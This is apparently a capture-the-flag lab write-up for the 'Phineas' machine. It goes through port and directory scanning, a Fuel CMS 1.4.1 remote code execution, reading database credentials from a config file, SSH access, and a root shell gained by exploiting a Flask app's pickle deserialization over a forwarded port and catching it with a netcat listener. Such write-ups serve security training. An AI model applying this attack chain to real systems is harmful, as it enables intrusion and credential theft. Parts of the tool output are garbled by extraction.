Phineas 1

netdiscover scan Target IP is 192.168.56.108

nmap scan

Tcp port: 22, 80, 111, 3306

```
root@parrot]—[/home/user]
    #nmap -sC -sV -p- 192.168.56.108
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-10 15:48 BST
Nmap scan report for 192.168.56.108
Host is up (0.055s latency).
Not shown: 65531 closed ports
        STATE SERVICE VERSION
PORT
22/tcp
                      OpenSSH 7.4 (protocol 2.0)
        open ssh
| ssh-hostkey:
   2048 ac:d8:0a:a8:6a:1f:78:6d:ac:06:8f:65:3e:ff:9c:8b (RSA)
   256 e7:f8:b0:07:1c:5b:4a:48:10:bc:f6:36:42:62:6c:e0 (ECDSA)
   256 c8:f0:ea:b8:bf:6b:a5:12:1f:9a:91:62:9d:1a:ce:75 (ED25519)
80/tcp
        open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
| http-methods:
   Potentially risky methods: TRACE
http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
| http-title: Apache HTTP Server Test Page powered by CentOS
111/tcp open rpcbind 2-4 (RPC #100000)
 rpcinfo:
                      port/proto service
   program version
                        111/tcp rpcbind
   100000 2,3,4
   100000 2,3,4
                        111/udp rpcbind
   100000 3,4
                        111/tcp6 rpcbind
   100000 3,4
                        111/udp6 rpcbind
3306/tcp open mysql MariaDB (unauthorized)
MAC Address: 08:00:27:3B:70:A4 (Oracle VirtualBox virtual NIC)
```

Main directory: http://phineas

Main objective is to know subdirectories hidden on the main site.

```
[]-[root@parrot]-[/]
#ffuf -r -c -w /SecLists/Discovery/Web-Content/raft-medium-directories.txt -u http://phineas/FUZZ
        v1.3.1 Kali Exclusive
:: Method
:: URL
                          : http://phineas/FUZZ
:: Wordlist
                          : FUZZ: /SecLists/Discovery/Web-Content/raft-medium-directories.txt
:: Follow redirects : true
:: Calibration
                          : false
:: Timeout
                          : 10
 :: Threads
                          : 40
 :: Matcher
                          : Response status: 200,204,301,302,307,401,403,405
                              [Status: 403, Size: 4897, Words: 887, Lines: 121]
[Status: 200, Size: 9288, Words: 267, Lines: 112]
101 :: Job [1/1] :: 7847 reg/sec :: Duration: [0:00
structure
```

Web Directory:

http://phinease/structure

Main objective is to know subdirectories hidden under the structure directory.

```
#ffuf -r -c -w /SecLists/Discovery/Web-Content/raft-medium-files.txt -u http://phineas/structure/FUZZ
        v1.3.1 Kali Exclusive
 :: Method
 :: URL
                         : http://phineas/structure/FUZZ
 :: Wordlist
                         : FUZZ: /SecLists/Discovery/Web-Content/raft-medium-files.txt
 :: Follow redirects : true
 :: Calibration
                         : false
 :: Timeout
 :: Threads
                           40
 :: Matcher
                         : Response status: 200,204,301,302,307,401,403,405
.htaccess
                             [Status: 403, Size: 221, Words: 15, Lines: 9]
                             [Status: 200, Size: 30, Words: 3, Lines: 2]
[Status: 403, Size: 217, Words: 15, Lines: 9]
robots.txt
.html
                             [Status: 403, Size: 221, Words: 15, Lines: 9]
.htpasswd
.htm
                             [Status: 403, Size: 216, Words: 15, Lines: 9]
                             [Status: 403, Size: 222, Words: 15, Lines: 9]
[Status: 200, Size: 9288, Words: 267, Lines: 112]
.htpasswds
index.php
                             [Status: 403, Size: 220, Words: 15, Lines: 9]
.htgroup
                             [Status: 403, Size: 225, Words: 15, Lines: 9]
.htaccess.bak
                             [Status: 403, Size: 219, Words: 15, Lines: 9]
.htuser
htc [Status: 403, Size: 216, Words: 15, Lines: 9]
ht [Status: 403, Size: 215, Words: 15, Lines: 9]
: Progress: [17128/17128] :: Job [1/1] :: 4084 req/sec :: Duration: [0:00:28] :: Errors: 0 ::
.htc
.ht
```

hidden web directory:

http://phineas/structure/fuel

There's a hidden subdirectory named fuel which turns out to be a vulnerable CMS.

```
"[root@parrot] = [/]
    #curl http://phineas/structure/robots.txt
User-agent: *
Disallow: /fuel/ [root@parrot] = [/]
    #
```

Further fuzzing:

This is to further discover subdirectories hidden under fuel directory.

```
-c -w /SecLists/Discovery/Web-Content/raft-medium-directories.txt -u http://phineas/structure/fuel/F
UZZ
          v1.3.1 Kali Exclusive
 :: Method
                                http://phineas/structure/fuel/FUZZ
FUZZ: /SecLists/Discovery/Web-Content/raft-medium-directories.txt
 :: URL
  :: Wordlist
    Follow redirects : true
     Calibration
                                false
     Timeout
     Threads
                                40
  :: Matcher
                                Response status: 200,204,301,302,307,401,403,405
                                  [Status: 200, Size: 1141, Words: 106, Lines: 17]
[Status: 200, Size: 722, Words: 53, Lines: 15]
[Status: 200, Size: 1364, Words: 127, Lines: 18]
[Status: 200, Size: 3682, Words: 427, Lines: 29]
[Status: 200, Size: 1165, Words: 78, Lines: 17]
 nodules
 scripts
install
application
licenses
                                  [Status: 200,
                                                     Size: 2204, Words: 239, Lines: 22]
 codeigniter
 : Progress: [30000/30000] :: Job [1/1] :: 6862 req/sec :: Duration: [0:00:39] :: Errors: 2 ::
```

fuel version

Vulnerable to exploit on searchsploit

Name

On the site itself, there is a high probability that the fuel CMS version that was used is version 1.4

Index of /structure/fuel/install/upgrades

Last modified Size Description

Parent Directory	-	
<u>fuel_0.9.2_upgrade.sql</u> 2017-03-18	01:13 231	
fuel 1.0 schema chan> 2017-03-18		
fuel 1.2 schema chan> 2017-03-18	01:13 137	
fuel 1.3 schema chan> 2017-03-18	01:13 444	
fuel 1.4 schema_chan> 2017-03-18	01:13 385	

searchsploit fuel

Using exploit – fuel cms 1.4.1 – Remote Code Execution (1)

```
______searchsploit fuel
Exploit Title

AMD Fuel Service - 'Fuel.service' Unquote Service Path
Franklin Fueling TS-550 evo 2.0.0.6833 - Multiple Vulnerabilities
fuel CMS 1.4.1 - Remote Code Execution (1)
Fuel CMS 1.4.1 - Remote Code Execution (2)
Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated)
Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated)
```

Confirmed RCE successful:

Able to list current directory

```
$\sqrt{\text{pqarrot} - [/tmp/phineas]}
$\sqrt{\text{systemREADME.md}}
$\sqrt{\text{assets}}
$\sqrt{\text{composer.json}}
$\sqrt{\text{contributing.md}}
$\fuel \text{index.php}
$\sqrt{\text{robots.txt}}$
```

LFI:

cat /var/www/html/structure/fuel/application/config/database.php

From this alone, anna's credentials are disclosed.

'username' => 'anna',

'password' => 'H993hfkNNid5kk'

```
Response
Pretty Raw Render \n Actions ✓
 70 | ['failover'] array - A array with 0 or more data for connec
 71 | ['save_queries'] TRUE/FALSE - Whether to "save" all executed
 72
             NOTE: Disabling this will also effectively disable I
 73
             $this->
     db->last_query() and profiling of DB queries.
                When you run a query, with this setting set to TRI
 74
 75
                CodeIgniter will store the SQL statement for debug
 76
                However, this may cause high memory usage, especia
                a lot of SQL queries ... disable this to avoid the
 77
 78
 79
      | The $active_group variable lets you choose which connecti
      | make active. By default there is only one group (the 'de
 80
 81
      | The $query_builder variables lets you determine whether o
 82
 83
      | the query builder class.
 84
 85
      $active_group = 'default';
 86
     $query_builder = TRUE;
 87
 88
     $db['default'] = array(
      'dsn' => '',
 89
 90
      'hostname' => 'localhost',
 91
     'username' => 'anna',
      'password' => 'H993hfkNNid5kk',
 92
 93
     'database' => 'anna',
 94
      'dbdriver' => 'mysqli',
```

Login as anna successful.

```
_[user@parrot] = [/tmp/phineas]
$ssh anna@phineas
The authenticity of host 'phineas (192.168.56.108)' can't be established.
ECDSA key fingerprint is SHA256:1iDFrvBhm6okZBYf+uNGsEDNx4tH0OR98hRBXPGfqlY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'phineas,192.168.56.108' (ECDSA) to the list of known hosts.
anna@phineas's password:
[anna@phineas ~]$ ls -lah
```

Discovered some python web server running

```
0.0 0.3 198060
root
                                 4012 ?
                                                    10:40
                                                            0:00 /usr/sbin/cupsd -f
               0.0 0.1 115408
                                                            0:00 /bin/bash /root/run_flask.sh
root
                                 1448
                                                    10:40
                                                            0:01 \_ /usr/bin/python3 /usr/local/bin/flask run
root
          1047
               0.0
                    2.5 242300 25804 ?
                                                    10:40
```

Source code of the python program running on the python webserver:

Pickle has a known vulnerability on deserialization.

```
[anna@phineas web]$ ls -lah
total 12K
drwxr-xr-x. 4 root root 80 Apr 1 03:38 .
drwx----. 18 anna anna 4.0K Apr 1 05:28 ...
-rwxr----. 1 root anna 263 Mar 31 05:39 app.py
-rw-----. 1 root root 591 Mar 31 04:39 app.pyc
drw-----. 5 root root 74 Mar 31 04:41 python3-virtualenv
[anna@phineas web]$ cat app.py
#!/usr/bin/python3
import pickle
import base64
from flask import Flask, request
app = Flask(_ name _)
@app.route("/heaven", methods=["POST"])
def heaven():
   data = base64.urlsafe b64decode(request.form['awesome'])
   pickle.loads(data)
   return '', 204
[anna@phineas web]$
```

Port forwarding

Create a connection to the target phineas.

The -L option means to forward to destination port 5000, attacker must connect to port 9000 on the localhost. This whole thing requires authentication, and anna's credential will be used.

To exploit this deserialization, consult:

https://davidhamann.de/2020/04/05/exploiting-python-pickle/

On the website, there is this exploit code, attacking machine IP and PORT needs to be modified. Additional code are added to exploit this deserialization in one go instead of having to input curl commands externally.

To trigger the exploit code:

1. Launch listener on attacking machine.

2. Do a curl to localhost on port 9000. Remember that by connecting to localhost 9000, connection is forwarded to target machine port 5000.

root shell

```
#nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.56.106] from (UNKNOWN) [192.168.56.108] 52302
sh: no job control in this shell
sh-4.2#
```

root flag

```
sh-4.2# cat root.txt
cat root.txt
YW5uYW1hcmlhbmljb3NhbnRpdml2ZSE
```